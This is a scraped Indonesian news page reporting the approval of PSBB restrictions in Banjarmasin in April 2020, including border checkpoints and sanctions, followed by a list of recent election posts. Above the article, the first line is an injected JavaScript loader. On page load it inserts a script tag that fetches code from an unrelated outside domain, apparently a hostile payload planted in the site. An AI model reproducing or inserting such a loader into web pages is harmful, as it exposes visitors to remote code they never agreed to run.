(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

PSBB Disetujui, Perbatasan Kota Banjarmasin Dijaga Ketat dan Sanksi Bagi yang Melanggar


KANALKALIMANTAN.COM, BANJARMASIN – Pengajuan pembatasan sosial berskala besar (PSBB) di Kota Banjarmasin akhirnya disetujui oleh Menkes RI dr. Terawan Agus Putranto, melalui Keputusan Menkes RI Nomor HK.01.07/MENKES/262/2020. Sebagai konsekuensinya, seluruh perbatasan ibu kota Provinsi Kalsel ini diberi pos penjagaan.

Lalu, di mana saja tempat pos jaga selama PSBB diberlakukan? “Seluruh kota, jadi tidak per kecamatan ataupun kelurahan. Iya, semua perbatasan harus kita berlakukan,” kata Juru Bicara Tim Gugus Tugas Pencegahan Penanganan dan Pengendalian (P3) Covid-19 Kota Banjarmasin Dr. Machli Riyadi, Minggu (19/4/2020) malam.

Nantinya, untuk penjagaan sendiri akan dibentuk tim khusus yang ditunjuk oleh wali kota. Di samping itu, peranan Polresta Banjarmasin, Kodim 1007 Banjarmasin dan Satpol PP Kota Banjarmasin juga diperlukan selama pemberlakukan PSBB.

“Tentu lebih dominan untuk menjaga di jalan raya. Sehingga kita mengimbau kepada warga masyarakat agar lebih memahami kebijakan di Kota Banjarmasin ini,” lugasnya.


Ia menjelaskan, perbedaan antara PSBB dengan surat edaran ataupun surat imbauan yang telah diterbitkan sebelumnya terletak pada penerapan sanksi. Ya, selama PSBB akan diberikan sanksi kepada warga yang tidak mematuhi PSBB.

Machli berharap masyarakat Kota Banjarmasin betul-betul melaksanakan dan mentaati apa yang menjadi ketetapan ini. Seperti tetap berada di rumah saja dan menggunakan masker, dan betul-betul menerapkan pola hidup bersih dan sehat (PHBS).

“Dengan tidak ke luar rumah kalau urusan yang tidak penting sekali. Misalnya membawa anak ke dokter atau mencari obat, ke apotek atau pasar itu masih boleh. Pasar masih boleh buka tetapi kewajiban social distancing itu menjadi keharusan. Kalau melanggar ya ada sanksi, begitu juga tidak pakai masker juga ada sanksi,” pungkasnya. (Kanalkalimantan.com/fikri)

 


Desy Arfianty

Recent Posts

Forum Ambin Demokrasi: Pilwali Banjarbaru Cacat Prosedural dan Cacat Hukum

KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More

8 jam ago

Masa Tenang Pilkada 2024, Bawaslu Banjarbaru: Medsos Juga Diawasi

KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More

9 jam ago

Tak Ada Pilihan Kotak Kosong di Pilwali Banjarbaru

Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More

9 jam ago

Akhiri Masa Cuti, Aditya Kembali ke Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More

14 jam ago

FDM HSU Ajak Masyarakat Awasi Pilkada 2024

KANALKALIMANTAN.COM, AMUNTAI -  Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More

15 jam ago

KPU HSU Mulai Distribusikan Logistik Pilkada ke 10 Kecamatan

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) mulai mendistribusikan logistik… Read More

15 jam ago

This website uses cookies.